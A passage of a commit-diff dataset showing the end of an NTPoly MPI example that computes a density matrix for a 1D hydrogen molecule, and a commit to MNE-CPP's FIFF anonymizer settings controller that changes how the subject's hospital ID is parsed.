Print the density matrix to file.\n Density.WriteToMatrixMarket(density_file_out);\n\n \/\/ Cleanup\n NTPoly::DestructProcessGrid();\n MPI_Finalize();\n return 0;\n}\n<commit_msg>Correction to last merge<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ An example based on solving matrices based on a 1D hydrogen molecule.\n#include <math.h>\n#include <mpi.h>\n#include <string>\nusing std::string;\n#include <sstream>\nusing std::stringstream;\n#include <vector>\nusing std::vector;\n#include <iostream>\n\/\/ NTPoly Headers\n#include \"DensityMatrixSolvers.h\"\n#include \"PSMatrix.h\"\n#include \"ProcessGrid.h\"\n#include \"SolverParameters.h\"\n#include \"Triplet.h\"\n#include \"TripletList.h\"\n\/\/ ETC\nconst double x_start = -6.28;\nconst double x_end = 6.28;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint main(int argc, char *argv[]) {\n \/\/ Input Parameters\n string density_file_out;\n int process_rows, process_columns, process_slices;\n double threshold, convergence_threshold;\n int number_of_electrons;\n int grid_points;\n\n \/\/ Setup MPI\n int provided;\n MPI_Init_thread(&argc, &argv, MPI_THREAD_SERIALIZED, &provided);\n int total_processors;\n MPI_Comm_size(MPI_COMM_WORLD, &total_processors);\n int rank;\n MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n\n \/\/ Process The Input Parameters\n string key, value;\n for (int i = 1; i < argc; i += 2) {\n key = string(argv[i]);\n value = string(argv[i + 1]);\n stringstream ss;\n ss << value;\n if (key == \"--density\") {\n ss >> density_file_out;\n } else if (key == \"--process_rows\") {\n ss >> process_rows;\n } else if (key == \"--process_columns\") {\n ss >> process_columns;\n } else if (key == \"--process_slices\") {\n ss >> process_slices;\n } else if (key == \"--grid_points\") {\n ss >> grid_points;\n } else if (key == \"--number_of_electrons\") {\n ss >> number_of_electrons;\n } else if (key == \"--threshold\") {\n ss >> threshold;\n } else if (key == \"--convergence_threshold\") {\n ss >> convergence_threshold;\n }\n }\n\n \/\/ Setup the process grid.\n NTPoly::ConstructProcessGrid(MPI_COMM_WORLD, process_rows, process_columns,\n process_slices, true);\n \/\/ Set Up The Solver Parameters.\n NTPoly::SolverParameters solver_parameters;\n solver_parameters.SetConvergeDiff(convergence_threshold);\n solver_parameters.SetThreshold(threshold);\n solver_parameters.SetVerbosity(true);\n\n \/\/ Divide The Work Amongst Processors.\n int local_grid_points = grid_points \/ total_processors;\n int start_row = local_grid_points * rank;\n \/\/ Handle the edge case\n if (rank == total_processors - 1) {\n local_grid_points = grid_points - rank * local_grid_points;\n }\n vector<double> local_rows(local_grid_points);\n for (int i = 0; i < local_grid_points; ++i) {\n local_rows[i] = start_row + i;\n }\n\n \/\/ Construct A Linear Space.\n vector<double> x_values(local_grid_points);\n double grid_spacing = (x_end - x_start) \/ (grid_points - 1);\n double local_x_start = x_start + start_row * grid_spacing;\n for (int i = 0; i < local_grid_points; ++i) {\n x_values[i] = local_x_start + i * grid_spacing;\n }\n\n \/\/ Construct The Kinetic Energy Operator.\n NTPoly::TripletList_r triplet_list;\n NTPoly::Triplet_r temp_value;\n for (int counter = 0; counter < local_grid_points; ++counter) {\n temp_value.index_row = start_row + counter + 1;\n \/\/ Stencil Point 1\n if (temp_value.index_row > 2) {\n temp_value.index_column = temp_value.index_row - 2;\n temp_value.point_value =\n (-0.5) * (-1.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n }\n \/\/ Stencil Point 2\n if (temp_value.index_row > 1) {\n temp_value.index_column = temp_value.index_row - 1;\n temp_value.point_value =\n (-0.5) * (16.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n }\n \/\/ Stencil Point 3\n temp_value.index_column = temp_value.index_row;\n temp_value.point_value =\n (-0.5) * (-30.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n \/\/ Stencil Point 4\n if (temp_value.index_row + 1 < grid_points) {\n temp_value.index_column = temp_value.index_row + 1;\n temp_value.point_value =\n (-0.5) * (16.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n }\n \/\/ Stencil Point 5\n if (temp_value.index_row + 2 < grid_points) {\n temp_value.index_column = temp_value.index_row + 2;\n temp_value.point_value =\n (-0.5) * (-1.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n }\n }\n NTPoly::Matrix_ps KineticEnergy(grid_points);\n KineticEnergy.FillFromTripletList(triplet_list);\n\n \/\/ Construct The Potential Energy Operator.\n NTPoly::TripletList_r potential_triplet_list;\n for (int i = 0; i < local_grid_points; ++i) {\n temp_value.index_row = start_row + i + 1;\n temp_value.index_column = start_row + i + 1;\n temp_value.point_value = -1.0 \/ fabs(x_values[i]);\n potential_triplet_list.Append(temp_value);\n }\n NTPoly::Matrix_ps PotentialEnergy(grid_points);\n PotentialEnergy.FillFromTripletList(potential_triplet_list);\n\n \/\/ Construct The Full Hamiltonian.\n NTPoly::Matrix_ps Hamiltonian(KineticEnergy);\n Hamiltonian.Increment(PotentialEnergy);\n\n \/\/ Overlap Matrix is just the identity.\n NTPoly::Matrix_ps Identity(grid_points);\n Identity.FillIdentity();\n\n \/\/ Call the solver routine.\n NTPoly::Matrix_ps Density(grid_points);\n double chemical_potential, energy;\n NTPoly::DensityMatrixSolvers::TRS2(Hamiltonian, Identity, 2, Density, energy\n chemical_potential, solver_parameters);\n\n \/\/ Print the density matrix to file.\n Density.WriteToMatrixMarket(density_file_out);\n\n \/\/ Cleanup\n NTPoly::DestructProcessGrid();\n MPI_Finalize();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/=============================================================================================================\n\/**\n* @file settingscontroller.cpp\n* @author Juan Garcia-Prieto <Juan.GarciaPrieto@uth.tmc.edu> <juangpc@gmail.com>;\n* Wayne Mead <wayne.mead@uth.tmc.edu> <wayne.isk@gmail.com>;\n* Lorenz Esch <Lorenz.Esch@tu-ilmenau.de>;\n* Matti Hamalainen <msh@nmr.mgh.harvard.edu>;\n* John C. Mosher <John.C.Mosher@uth.tmc.edu> <jcmosher@gmail.com>;\n* @version 1.0\n* @date September, 2019\n*\n* @section LICENSE\n*\n* Copyright (C) 2019, Juan Garcia-Prieto and Matti Hamalainen. All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n* the following conditions are met:\n* * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n* following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n* the following disclaimer in the documentation and\/or other materials provided with the distribution.\n* * Neither the name of MNE-CPP authors nor the names of its contributors may be used\n* to endorse or promote products derived from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*\n*\n* @brief SettingsController class definition.\n*\n*\/\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"settingscontroller.h\"\n#include \"fiffanonymizer.h\"\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ Eigen INCLUDES\n\/\/=============================================================================================================\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace MNEANONYMIZE;\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE GLOBAL METHODS\n\/\/=============================================================================================================\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nSettingsController::SettingsController(const QStringList &arguments)\n: m_bMultipleInFiles(false)\n{\n initParser();\n parseInputs(arguments);\n execute();\n}\n\n\n\/\/*************************************************************************************************************\n\nSettingsController::~SettingsController()\n{\n m_pAppList.clear();\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::initParser()\n{\n\n m_parser.setApplicationDescription(QCoreApplication::translate(\"main\",\n m_anonymizer.description.toUtf8()));\n m_parser.addHelpOption();\n m_parser.addVersionOption();\n\n QCommandLineOption inFileOpt(\"in\",QCoreApplication::translate(\"main\",\"File to anonymize. Wildcards are allowed and several --in <infile> statements can be present.\"),\n QCoreApplication::translate(\"main\",\"infile\"));\n m_parser.addOption(inFileOpt);\n\n QCommandLineOption outFileOpt(\"out\",QCoreApplication::translate(\"main\",\"Output file <outfile>. Only allowed when anonymizing one single file.\"),\n QCoreApplication::translate(\"main\",\"outfile\"));\n m_parser.addOption(outFileOpt);\n\n QCommandLineOption verboseOpt(\"verbose\",QCoreApplication::translate(\"main\",\"Prints out more information.\"));\n m_parser.addOption(verboseOpt);\n\n QCommandLineOption quietOpt(\"quiet\",QCoreApplication::translate(\"main\",\"Show no output.\"));\n m_parser.addOption(quietOpt);\n\n QCommandLineOption deleteInFileOpt(\"delete_input_file_after\",\n QCoreApplication::translate(\"main\",\"Delete input fiff file after anonymization.\"));\n m_parser.addOption(deleteInFileOpt);\n\n QCommandLineOption deleteInFileConfirmOpt(\"avoid_delete_confirmation\",\n QCoreApplication::translate(\"main\",\"Avoid confirming the deletion of the input fiff file.\"));\n m_parser.addOption(deleteInFileConfirmOpt);\n\n QCommandLineOption bruteOpt(\"brute\",QCoreApplication::translate(\"main\",\"Anonymize weight, height XXX if present in the input fiff file.\"));\n m_parser.addOption(bruteOpt);\n\n QCommandLineOption measDateOpt(\"measurement_date\",\n QCoreApplication::translate(\"main\",\"Specify the measurement date. Only when anonymizing a single file. Format: YYYMMDD \"),\n QCoreApplication::translate(\"main\",\"days\"));\n m_parser.addOption(measDateOpt);\n\n QCommandLineOption measDateOffsetOpt(\"measurement_date_offset\",\n QCoreApplication::translate(\"main\",\"Specify number of days to subtract to the measurement <date>. Only allowed when anonymizing a single file.\"),\n QCoreApplication::translate(\"main\",\"date\"));\n m_parser.addOption(measDateOffsetOpt);\n\n QCommandLineOption birthdayOpt(\"subject_birthday\",\n QCoreApplication::translate(\"main\",\"Specify the subject's birthday <date>. Only allowed when anonymizing a single file. Format: YYYMMDD \"),\n QCoreApplication::translate(\"main\",\"date\"));\n m_parser.addOption(birthdayOpt);\n\n QCommandLineOption birthdayOffsetOpt(\"subject_birthday_offset\",\n QCoreApplication::translate(\"main\",\"Specify number of <days> to subtract to the subject's birthday. Only allowed when anonymizing a single file. \"),\n QCoreApplication::translate(\"main\",\"days\"));\n m_parser.addOption(birthdayOffsetOpt);\n\n QCommandLineOption SubjectIdOpt(\"his\",QCoreApplication::translate(\"main\",\"Specify the Subject's Id# within the Hospital system. Only allowed when anonymizing a single file. \"),\n QCoreApplication::translate(\"main\",\"id#\"));\n m_parser.addOption(SubjectIdOpt);\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::parseInputs(const QStringList& arguments)\n{\n m_parser.process(arguments);\n\n parseInputAndOutputFiles();\n\n if(m_parser.isSet(\"verbose\")) {\n m_anonymizer.setVerboseMode(true);\n }\n\n if(m_parser.isSet(\"brute\")) {\n m_anonymizer.setBruteMode(true);\n }\n\n if(m_parser.isSet(\"quiet\")) {\n if(m_anonymizer.getVerboseMode()) {\n m_anonymizer.setVerboseMode(false);\n }\n m_anonymizer.setQuietMode(true);\n }\n\n if(m_parser.isSet(\"delete_input_file_after\")) {\n m_anonymizer.setDeleteInputFileAfter(true);\n }\n\n if(m_parser.isSet(\"avoid_delete_confirmation\")) {\n m_anonymizer.setDeleteInputFileAfterConfirmation(false);\n }\n\n if(m_parser.isSet(\"measurement_date\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the option \\\"measurement_date\\\".\";\n m_parser.showHelp();\n }\n\n QString d(m_parser.value(\"measurement_date\"));\n m_anonymizer.setMeasurementDay(d);\n }\n\n if(m_parser.isSet(\"measurement_date_offset\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the option \\\"measurement_date_offset\\\".\";\n m_parser.showHelp();\n }\n\n QString doffset(m_parser.value(\"measurement_date_offset\"));\n m_anonymizer.setMeasurementDayOffset(doffset.toInt());\n }\n\n if(m_parser.isSet(\"subject_birthday\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the option \\\"subject_birthday\\\".\";\n m_parser.showHelp();\n }\n\n QString birthday(m_parser.value(\"subject_birthday\"));\n m_anonymizer.setSubjectBirthday(birthday);\n }\n\n if(m_parser.isSet(\"subject_birthday_offset\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the option \\\"subject_birthday_offset\\\".\";\n m_parser.showHelp();\n }\n QString bdoffset(m_parser.value(\"subject_birthday_offset\"));\n m_anonymizer.setSubjectBirthdayOffset(bdoffset.toInt());\n }\n\n if(m_parser.isSet(\"his\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the optio \\\"his\\\".\";\n m_parser.showHelp();\n }\n\n m_anonymizer.setSubjectHisId(m_parser.value(\"his\").toInt());\n }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::parseInputAndOutputFiles()\n{\n if(m_parser.isSet(\"in\")) {\n QStringList inFilesAux(m_parser.values(\"in\"));\n\n for(QString f: inFilesAux) {\n QFileInfo inFileInfo(QDir::toNativeSeparators(f));\n inFileInfo.makeAbsolute();\n\n if(inFileInfo.isDir()) {\n qDebug() << \"Error. \" << f << \" is a folder.\";\n }\n\n QStringList filter;\n filter << inFileInfo.fileName();\n QDirIterator it(inFileInfo.absoluteDir().absolutePath(),filter,QDir::AllEntries | QDir::NoSymLinks | QDir::NoDotAndDotDot);\n\n while(it.hasNext()) {\n QFileInfo fi(it.next());\n\n if(fi.isFile() && fi.isReadable()) {\n m_SLInFiles.append(fi.absoluteFilePath());\n }\n }\n }\n }\n\n if(m_SLInFiles.size() == 0) {\n qDebug() << \"Error. No valid input files.\";\n m_parser.showHelp();\n } else if(m_SLInFiles.size() == 1) {\n m_bMultipleInFiles = false;\n } else {\n m_bMultipleInFiles = true;\n }\n\n if(m_bMultipleInFiles) {\n if(m_parser.isSet(\"out\")) {\n qDebug() << \"Warning. Multiple input files selected. Output filename option will be ignored.\";\n }\n\n for(QString fi:m_SLInFiles) {\n QFileInfo fInfo(fi);\n QString fout = QDir(fInfo.absolutePath()).filePath(\n fInfo.baseName() + \"_anonymized.\" + fInfo.completeSuffix());\n m_SLOutFiles.append(fout);\n }\n } else {\n QString fileOutName;\n\n if(m_parser.isSet(\"out\")) {\n QFileInfo fInfo(m_parser.value(\"out\"));\n fInfo.makeAbsolute();\n fileOutName = fInfo.absoluteFilePath();\n } else {\n QFileInfo fInfo(m_SLInFiles.first());\n fileOutName = QDir(fInfo.absolutePath()).filePath(\n fInfo.baseName() + \"_anonymized.\" + fInfo.completeSuffix());\n }\n\n m_SLOutFiles.append(fileOutName);\n }\n\n if(m_SLInFiles.size() != m_SLOutFiles.size()) {\n qDebug() << \"Error. something went wrong while parsing the input files.\";\n }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::generateAnonymizerInstances()\n{\n if(m_SLInFiles.isEmpty() || m_SLOutFiles.isEmpty()) {\n qDebug() << \"SettingsController::generateAnonymizerInstances - No input and\/or output file names specified.\";\n return;\n }\n\n if(m_bMultipleInFiles) {\n for(int i=0; i< m_SLInFiles.size(); ++i) {\n QSharedPointer<FiffAnonymizer> pAppAux(new FiffAnonymizer(m_anonymizer));\n pAppAux->setFileIn(m_SLInFiles.at(i));\n pAppAux->setFileOut(m_SLOutFiles.at(i));\n \/\/m_pAppList.append(QSharedPointer<FiffAnonymizer>(pAppAux));\n \/\/note that QList will copy & append.\n m_pAppList.append(pAppAux);\n }\n } else {\n m_anonymizer.setFileIn(m_SLInFiles.first());\n m_anonymizer.setFileOut(m_SLOutFiles.first());\n }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::execute()\n{\n generateAnonymizerInstances();\n if(m_bMultipleInFiles) {\n for(int th_i=0; th_i<m_pAppList.size(); ++th_i) {\n QSharedPointer<QFuture<void> > promise( new QFuture<void>);\n FiffAnonymizer localApp(*m_pAppList.at(th_i));\n *promise = QtConcurrent::run(localApp,&FiffAnonymizer::anonymizeFile);\n promisesList.append(promise);\n }\n\n for(int p_i=0;p_i<promisesList.size();++p_i) {\n promisesList.at(p_i)->waitForFinished();\n }\n } else {\n m_anonymizer.anonymizeFile();\n }\n}\n<commit_msg>[ci skip] Parse SubjectHisId input and call setSubjectHisId with string<commit_after>\/\/=============================================================================================================\n\/**\n* @file settingscontroller.cpp\n* @author Juan Garcia-Prieto <Juan.GarciaPrieto@uth.tmc.edu> <juangpc@gmail.com>;\n* Wayne Mead <wayne.mead@uth.tmc.edu> <wayne.isk@gmail.com>;\n* Lorenz Esch <Lorenz.Esch@tu-ilmenau.de>;\n* Matti Hamalainen <msh@nmr.mgh.harvard.edu>;\n* John C. Mosher <John.C.Mosher@uth.tmc.edu> <jcmosher@gmail.com>;\n* @version 1.0\n* @date September, 2019\n*\n* @section LICENSE\n*\n* Copyright (C) 2019, Juan Garcia-Prieto and Matti Hamalainen. All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n* the following conditions are met:\n* * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n* following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n* the following disclaimer in the documentation and\/or other materials provided with the distribution.\n* * Neither the name of MNE-CPP authors nor the names of its contributors may be used\n* to endorse or promote products derived from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*\n*\n* @brief SettingsController class definition.\n*\n*\/\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"settingscontroller.h\"\n#include \"fiffanonymizer.h\"\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ QT INCLUDES\n\/\/=============================================================================================================\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ Eigen INCLUDES\n\/\/=============================================================================================================\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace MNEANONYMIZE;\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE GLOBAL METHODS\n\/\/=============================================================================================================\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nSettingsController::SettingsController(const QStringList &arguments)\n: m_bMultipleInFiles(false)\n{\n initParser();\n parseInputs(arguments);\n execute();\n}\n\n\n\/\/*************************************************************************************************************\n\nSettingsController::~SettingsController()\n{\n m_pAppList.clear();\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::initParser()\n{\n\n m_parser.setApplicationDescription(QCoreApplication::translate(\"main\",\n m_anonymizer.description.toUtf8()));\n m_parser.addHelpOption();\n m_parser.addVersionOption();\n\n QCommandLineOption inFileOpt(\"in\",QCoreApplication::translate(\"main\",\"File to anonymize. Wildcards are allowed and several --in <infile> statements can be present.\"),\n QCoreApplication::translate(\"main\",\"infile\"));\n m_parser.addOption(inFileOpt);\n\n QCommandLineOption outFileOpt(\"out\",QCoreApplication::translate(\"main\",\"Output file <outfile>. Only allowed when anonymizing one single file.\"),\n QCoreApplication::translate(\"main\",\"outfile\"));\n m_parser.addOption(outFileOpt);\n\n QCommandLineOption verboseOpt(\"verbose\",QCoreApplication::translate(\"main\",\"Prints out more information.\"));\n m_parser.addOption(verboseOpt);\n\n QCommandLineOption quietOpt(\"quiet\",QCoreApplication::translate(\"main\",\"Show no output.\"));\n m_parser.addOption(quietOpt);\n\n QCommandLineOption deleteInFileOpt(\"delete_input_file_after\",\n QCoreApplication::translate(\"main\",\"Delete input fiff file after anonymization.\"));\n m_parser.addOption(deleteInFileOpt);\n\n QCommandLineOption deleteInFileConfirmOpt(\"avoid_delete_confirmation\",\n QCoreApplication::translate(\"main\",\"Avoid confirming the deletion of the input fiff file.\"));\n m_parser.addOption(deleteInFileConfirmOpt);\n\n QCommandLineOption bruteOpt(\"brute\",QCoreApplication::translate(\"main\",\"Anonymize weight, height XXX if present in the input fiff file.\"));\n m_parser.addOption(bruteOpt);\n\n QCommandLineOption measDateOpt(\"measurement_date\",\n QCoreApplication::translate(\"main\",\"Specify the measurement date. Only when anonymizing a single file. Format: YYYMMDD \"),\n QCoreApplication::translate(\"main\",\"days\"));\n m_parser.addOption(measDateOpt);\n\n QCommandLineOption measDateOffsetOpt(\"measurement_date_offset\",\n QCoreApplication::translate(\"main\",\"Specify number of days to subtract to the measurement <date>. Only allowed when anonymizing a single file.\"),\n QCoreApplication::translate(\"main\",\"date\"));\n m_parser.addOption(measDateOffsetOpt);\n\n QCommandLineOption birthdayOpt(\"subject_birthday\",\n QCoreApplication::translate(\"main\",\"Specify the subject's birthday <date>. Only allowed when anonymizing a single file. Format: YYYMMDD \"),\n QCoreApplication::translate(\"main\",\"date\"));\n m_parser.addOption(birthdayOpt);\n\n QCommandLineOption birthdayOffsetOpt(\"subject_birthday_offset\",\n QCoreApplication::translate(\"main\",\"Specify number of <days> to subtract to the subject's birthday. Only allowed when anonymizing a single file. \"),\n QCoreApplication::translate(\"main\",\"days\"));\n m_parser.addOption(birthdayOffsetOpt);\n\n QCommandLineOption SubjectIdOpt(\"his\",QCoreApplication::translate(\"main\",\"Specify the Subject's Id# within the Hospital system. Only allowed when anonymizing a single file. \"),\n QCoreApplication::translate(\"main\",\"id#\"));\n m_parser.addOption(SubjectIdOpt);\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::parseInputs(const QStringList& arguments)\n{\n m_parser.process(arguments);\n\n parseInputAndOutputFiles();\n\n if(m_parser.isSet(\"verbose\")) {\n m_anonymizer.setVerboseMode(true);\n }\n\n if(m_parser.isSet(\"brute\")) {\n m_anonymizer.setBruteMode(true);\n }\n\n if(m_parser.isSet(\"quiet\")) {\n if(m_anonymizer.getVerboseMode()) {\n m_anonymizer.setVerboseMode(false);\n }\n m_anonymizer.setQuietMode(true);\n }\n\n if(m_parser.isSet(\"delete_input_file_after\")) {\n m_anonymizer.setDeleteInputFileAfter(true);\n }\n\n if(m_parser.isSet(\"avoid_delete_confirmation\")) {\n m_anonymizer.setDeleteInputFileAfterConfirmation(false);\n }\n\n if(m_parser.isSet(\"measurement_date\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the option \\\"measurement_date\\\".\";\n m_parser.showHelp();\n }\n\n QString d(m_parser.value(\"measurement_date\"));\n m_anonymizer.setMeasurementDay(d);\n }\n\n if(m_parser.isSet(\"measurement_date_offset\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the option \\\"measurement_date_offset\\\".\";\n m_parser.showHelp();\n }\n\n QString doffset(m_parser.value(\"measurement_date_offset\"));\n m_anonymizer.setMeasurementDayOffset(doffset.toInt());\n }\n\n if(m_parser.isSet(\"subject_birthday\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the option \\\"subject_birthday\\\".\";\n m_parser.showHelp();\n }\n\n QString birthday(m_parser.value(\"subject_birthday\"));\n m_anonymizer.setSubjectBirthday(birthday);\n }\n\n if(m_parser.isSet(\"subject_birthday_offset\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the option \\\"subject_birthday_offset\\\".\";\n m_parser.showHelp();\n }\n QString bdoffset(m_parser.value(\"subject_birthday_offset\"));\n m_anonymizer.setSubjectBirthdayOffset(bdoffset.toInt());\n }\n\n if(m_parser.isSet(\"his\")) {\n if(m_bMultipleInFiles) {\n qDebug() << \"Error. Multiple Input files. You cannot specify the optio \\\"his\\\".\";\n m_parser.showHelp();\n }\n\n m_anonymizer.setSubjectHisId(m_parser.value(\"his\"));\n }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::parseInputAndOutputFiles()\n{\n if(m_parser.isSet(\"in\")) {\n QStringList inFilesAux(m_parser.values(\"in\"));\n\n for(QString f: inFilesAux) {\n QFileInfo inFileInfo(QDir::toNativeSeparators(f));\n inFileInfo.makeAbsolute();\n\n if(inFileInfo.isDir()) {\n qDebug() << \"Error. \" << f << \" is a folder.\";\n }\n\n QStringList filter;\n filter << inFileInfo.fileName();\n QDirIterator it(inFileInfo.absoluteDir().absolutePath(),filter,QDir::AllEntries | QDir::NoSymLinks | QDir::NoDotAndDotDot);\n\n while(it.hasNext()) {\n QFileInfo fi(it.next());\n\n if(fi.isFile() && fi.isReadable()) {\n m_SLInFiles.append(fi.absoluteFilePath());\n }\n }\n }\n }\n\n if(m_SLInFiles.size() == 0) {\n qDebug() << \"Error. No valid input files.\";\n m_parser.showHelp();\n } else if(m_SLInFiles.size() == 1) {\n m_bMultipleInFiles = false;\n } else {\n m_bMultipleInFiles = true;\n }\n\n if(m_bMultipleInFiles) {\n if(m_parser.isSet(\"out\")) {\n qDebug() << \"Warning. Multiple input files selected. Output filename option will be ignored.\";\n }\n\n for(QString fi:m_SLInFiles) {\n QFileInfo fInfo(fi);\n QString fout = QDir(fInfo.absolutePath()).filePath(\n fInfo.baseName() + \"_anonymized.\" + fInfo.completeSuffix());\n m_SLOutFiles.append(fout);\n }\n } else {\n QString fileOutName;\n\n if(m_parser.isSet(\"out\")) {\n QFileInfo fInfo(m_parser.value(\"out\"));\n fInfo.makeAbsolute();\n fileOutName = fInfo.absoluteFilePath();\n } else {\n QFileInfo fInfo(m_SLInFiles.first());\n fileOutName = QDir(fInfo.absolutePath()).filePath(\n fInfo.baseName() + \"_anonymized.\" + fInfo.completeSuffix());\n }\n\n m_SLOutFiles.append(fileOutName);\n }\n\n if(m_SLInFiles.size() != m_SLOutFiles.size()) {\n qDebug() << \"Error. something went wrong while parsing the input files.\";\n }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::generateAnonymizerInstances()\n{\n if(m_SLInFiles.isEmpty() || m_SLOutFiles.isEmpty()) {\n qDebug() << \"SettingsController::generateAnonymizerInstances - No input and\/or output file names specified.\";\n return;\n }\n\n if(m_bMultipleInFiles) {\n for(int i=0; i< m_SLInFiles.size(); ++i) {\n QSharedPointer<FiffAnonymizer> pAppAux(new FiffAnonymizer(m_anonymizer));\n pAppAux->setFileIn(m_SLInFiles.at(i));\n pAppAux->setFileOut(m_SLOutFiles.at(i));\n \/\/m_pAppList.append(QSharedPointer<FiffAnonymizer>(pAppAux));\n \/\/note that QList will copy & append.\n m_pAppList.append(pAppAux);\n }\n } else {\n m_anonymizer.setFileIn(m_SLInFiles.first());\n m_anonymizer.setFileOut(m_SLOutFiles.first());\n }\n}\n\n\n\/\/*************************************************************************************************************\n\nvoid SettingsController::execute()\n{\n generateAnonymizerInstances();\n if(m_bMultipleInFiles) {\n for(int th_i=0; 